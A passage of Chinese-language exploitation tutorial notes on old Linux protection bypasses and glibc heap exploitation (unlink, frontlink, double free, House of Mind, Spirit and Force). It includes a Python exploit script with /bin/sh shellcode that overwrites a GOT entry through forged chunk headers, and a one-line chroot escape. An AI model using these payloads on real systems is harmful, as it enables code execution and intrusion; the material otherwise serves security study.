它会拦截对一些不安全函数的调用,并替换为安全函数。这不是标准化的(仅适用于 x86不适用于使用 -fomit-frame-pointer 编译不适用于静态编译不是所有易受攻击的函数都会变得安全LD_PRELOAD 在具有 suid 的二进制文件中无效)。

ASCII Armored Address Space

这意味着将共享库加载到 0x00000000 到 0x00ffffff 的地址空间,以便始终存在一个字节 0x00。然而这实际上几乎无法阻止任何攻击尤其是在 little endian 中。

ret2plt

这涉及执行 ROP使其调用 plt 中的 strcpy@plt 函数,并指向 GOT 的条目将要调用的函数的第一个字节system())复制到那里。然后,再次指向 GOT+1并复制 system() 的第二个字节... 最后调用保存在 GOT 中的地址,即 system()。

Falso EBP

对于使用 EBP 作为指向参数的寄存器的函数,通过修改 EIP 并指向 system(),还必须修改 EBP使其指向一个具有任意两个字节的内存区域然后指向 &"/bin/sh" 的地址。

使用 chroot() 创建牢笼

debootstrap -arch=i386 hardy /home/user —> 在特定子目录下安装基本系统

管理员可以通过执行以下操作来退出这些牢笼mkdir foo; chroot foo; cd ..

代码插桩

Valgrind —> 查找错误
Memcheck
RADReturn Address Defender
Insure++

8 堆溢出:基础利用

已分配的块

prev_size |
size | —头部
*mem | 数据

空闲块

prev_size |
size |
*fd | 指向前向块的指针
*bk | 指向后向块的指针 —头部
*mem | 数据

空闲块以双向链表bin的形式存在两个空闲块永远不会相邻它们会合并

在“size”中有一些位用于指示前一个块是否正在使用块是否通过 mmap() 分配,块是否属于主要的 arena。

如果释放一个块后,相邻的块也是空闲的,则通过 unlink() 宏将它们合并,并将最大的新块传递给 frontlink(),以便将其插入适当的 bin 中。

unlink(){
BK = P->bk; —> 新块的 BK 是之前空闲块的 BK
FD = P->fd; —> 新块的 FD 是之前空闲块的 FD
FD->bk = BK; —> 下一个块的 BK 指向新块
BK->fd = FD; —> 前一个块的 FD 指向新块
}

因此,如果我们成功修改了 P->bk 为 shellcode 的地址,并将 P->fd 修改为 GOT 或 DTORS 中的地址减去 12就可以实现

BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode

这样,在程序退出时将执行 shellcode。

此外unlink() 的第四条语句会写入一些内容,因此 shellcode 必须为此做好准备:

BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> 这会导致从 shellcode 的第 8 个字节开始写入 4 个字节,因此 shellcode 的第一条指令必须是跳转指令,以跳过这部分并进入后续的 shellcode。

因此,利用程序漏洞创建 exploit

在 buffer1 中插入 shellcode以跳转到 nops 或 shellcode 的其余部分。

在 shellcode 之后填充,直到达到下一个块的 prev_size 和 size 字段。在这些位置上放入 0xfffffff0用于覆盖 prev_size 以使其具有指示前一个块空闲的位)和“-4”0xfffffffc在 size 中(以便在第三个块中检查第二个块是否为空时实际上转到修改后的 prev_size该字段将告诉它第二个块为空。因此当 free() 进行检查时,它将转到第三个块的 size但实际上将转到第二个块 - 4并认为第二个块为空。然后调用 unlink()

调用 unlink() 时,将使用第二个块的前几个数据作为 P->fd因此将在那里放入要覆盖的地址 - 12因为在 FD->bk 中将在 FD 中保存的地址加上 12。在该地址中输入第二个块中找到的第二个地址这将是我们希望的 shellcode 地址(伪造的 P->bk

from struct import *

import os

shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes of padding

shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

prev_size = pack("<I”, 0xfffffff0) #It's important that the bit indicating the previous block is free is set to 1

fake_size = pack("<I”, 0xfffffffc) #-4, so that when checking in the 3rd block if the 2nd was free it actually goes to the modified prev_size telling it that it's free

addr_sc = pack("<I", 0x0804a008 + 8) #In the payload we put 8 bytes of padding at the beginning

got_free = pack("<I", 0x08048300 - 12) #Address of free() in the plt-12 (will be the address that is overwritten to launch the shellcode the 2nd time free is called)

payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # As said the payload starts with 8 bytes of padding because yes

payload += prev_size + fake_size + got_free + addr_sc #Modify the 2nd block, got_free points to where we are going to save the address addr_sc + 12

os.system("./8.3.o " + payload)

unset() releasing in reverse order (wargame)

我们控制 3 个连续的块,并按相反顺序释放它们。

在这种情况下:

在块 c 中放置 shellcode

将块 a 用于覆盖块 b使其 size 字段的 PREV_INUSE 位失效,以便它认为块 a 是空闲的。

此外,在块 b 的头部中覆盖 size 以使其值为 -4。

然后程序会认为“a”是空闲的并在 bin 中,因此会调用 unlink() 来解除绑定。但是,由于块 a 的头部 PREV_SIZE 值为 -4。它会认为“a”实际上从 b+4 开始。也就是说,它会在 b+4 处执行 unlink(),因此在 b+12 处将是指针“fd”在 b+16 处将是指针“bk”。

因此,如果在 bk 中放入 shellcode 的地址,并在 fd 中放入函数“puts()”-12 的地址,就可以创建有效载荷。

Frontlink 技术

当释放某些内容并且其连续块都不是空闲的时,不会调用 unlink(),而是直接调用 frontlink()。

这是一个有用的漏洞,当攻击的 malloc 从不被释放free())时。需要:

一个可以通过输入数据进行溢出的缓冲区

与此相邻的一个可以被释放并且可以通过前一个缓冲区的溢出来修改其头部 fd 的缓冲区

一个比第 3 步中的缓冲区更大但小于前一个缓冲区的缓冲区

在第 3 步之前声明一个允许覆盖此前缓冲区的 prev_size 的缓冲区

通过这种方式,可以无序地覆盖两个 malloc并在一个受控制的情况下无序地覆盖一个但只释放其中一个从而可以创建 exploit。

双重 free() 漏洞

如果两次使用相同指针调用 free(),则会有两个 bin 指向相同地址。

如果要再次使用一个,可以轻松分配。如果要使用另一个,则会分配相同的空间,因此会有伪造的 fd 和 bk 指针,这些指针将由前一个分配的数据写入。

free() 后漏洞

先前释放的指针在没有控制的情况下再次使用。

8 堆溢出:高级利用

Unlink() 和 FrontLink() 技术在修改 unlink() 函数时被删除。

The house of mind

只需一次调用 free() 即可执行任意代码。需要找到一个可以被前一个溢出的变量覆盖的 malloc 指针。

The house of spirit

需要:

  • 可以溢出的堆块,使攻击者可以更改其指针(例如,指针位于可能溢出到变量下方的堆栈中)。

这样,我们可以使该指针指向任何地方。但并非所有位置都有效,修改的堆块大小必须小于 av->max_fast并且必须等于将来的 malloc()+8 的请求大小。因此,如果我们知道在此指针下面调用 malloc(40),则修改的堆块大小必须等于 48。

如果程序要求用户输入数字,我们可以输入 48并将 malloc 可修改的指针指向接下来的 4 个字节(可能属于 EBP因此 48 位于后面,就像是 size 头部。此外ptr-4+48 的地址必须满足几个条件在这种情况下ptr=EBP即 8 < ptr-4+48 < av->system_mem。

如果满足这些条件,当调用下一个 malloc 时,它将分配 EBP 的地址。如果攻击者还可以控制此 malloc 中写入的内容,可以同时覆盖 EBP 和 EIP并将其设置为所需的地址。

这是因为当释放 free() 时,它会保存指向堆栈 EBP 的地址。如果攻击者还能够以某种方式(可能通过堆栈)在适当的地址写入 victim 的地址,以便看起来像一个真实的块。

The house of force

需要:

  • 一个允许溢出到 wilderness 的堆块
  • 一个由用户定义大小的 malloc() 调用
  • 一个由用户定义数据的 malloc() 调用

首先要做的是将 wilderness 块的大小覆盖为非常大的值0xffffffff这样任何足够大的内存请求都将在 _int_malloc() 中处理,而无需扩展堆。

其次是修改 av->top使其指向攻击者控制的内存区域如堆栈。在 av->top 中放入 &EIP - 8。

必须覆盖 av->top 以指向攻击者控制的内存区域:

victim = av->top;

remainder = chunck_at_offset(victim, nb);

av->top = remainder;

Victim 获取当前 wilderness 块的地址(当前的 av->topremainder 正好是该地址加上 malloc() 请求的字节数。因此,如果 &EIP-8 在 0xbffff224av->top 包含 0x080c2788则下一个 malloc() 的地址将是:

0xbffff224 - 0x080c2788 = 3086207644。

因此,修改的值将保存在 av->top 中,并且下一个 malloc 将指向 EIP并且可以进行覆盖。

请注意,新释放的块的大小必须大于上一个 malloc() 的请求。也就是说,如果 wilderness 指向 &EIP-8则 size 将正好位于堆栈的 EBP 头部。

The house of lore

SmallBin 污染

释放的块根据其大小放入 bin 中。